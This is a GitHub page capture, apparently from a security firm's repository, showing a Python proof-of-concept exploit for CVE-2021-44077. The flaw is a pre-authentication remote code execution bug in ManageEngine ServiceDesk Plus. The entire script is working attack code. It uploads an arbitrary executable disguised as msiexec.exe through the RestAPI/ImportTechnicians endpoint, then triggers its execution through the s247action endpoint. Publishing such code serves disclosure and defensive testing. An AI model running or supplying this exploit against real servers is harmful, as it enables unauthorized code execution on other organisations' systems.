



Sign in

horizon3ai / CVE-2021-44077 Public

Notifications

Fork 11

Star 30

<> Code Issues Pull requests Actions Projects Security Insights

CVE-2021-44077 / exploit.py



56 lines (45 loc) · 1.96 KB

Code Blame

Raw



```
1 import requests
2 from argparse import ArgumentParser
3 from os.path import exists
4 import sys
5 import traceback
6
7 def main():
8     try:
9         parser = ArgumentParser(description='Exploit CVE-2021-44077: Pre-Auth RCE in ManageEngine S
10         parser.add_argument('url', help='base url of ManageEngine ServiceDesk Plus install')
11         parser.add_argument('exe', help='Path to exe file to upload and execute')
12         args = parser.parse_args()
13
14         exe = args.exe
15         url = args.url.lower()
16
17         if not (url.startswith('http://') or url.startswith('https://')):
18             print(f'[-] Not a valid url: {args.url}')
19             sys.exit(1)
20
21         if not exists(exe):
22             print(f'[-] File {exe} does not exist')
23             sys.exit(1)
24
25         if not url.endswith('/'):
26             url = url + '/'
```

```
27
28     print(f'[+] Target: {url}')
29     print(f'[+] Executable: {exe}')
30
31     upload_url = f'{url}RestAPI/ImportTechnicians?step=1'
32     print(f'[+] Uploading {exe} to {upload_url}')
33
34     with open(exe, 'rb') as f:
35         r = requests.post(upload_url, files = {'theFile': ('msiexec.exe', f) }, verify=False, t
36         if r.status_code == 401:
37             print(f'[+] Got 401 error code on upload. This is expected.')
38         else:
39             print(f'[-] Got unexpected error code on upload: {r.status_code}')
40
41     execute_url = f'{url}./RestAPI/s247action'
42     print(f'[+] Uploaded {exe}')
43     print(f'[+] Attempting to invoke against url {execute_url}. Waiting up to 20 seconds...')
44     r = requests.post(execute_url, data= {'execute': 's247AgentInstallationProcess'}, verify=Fa
45     print(f'[+] Done, did it work?')
46
47     except Exception as e:
48         if 'Read timed out' in str(e):
49             print('[+] Done, did it work?')
50         else:
51             print(f'Unexpected error: {e}')
52             traceback.print_exc()
53             sys.exit(1)
54
55 if __name__ == '__main__':
56     main()
```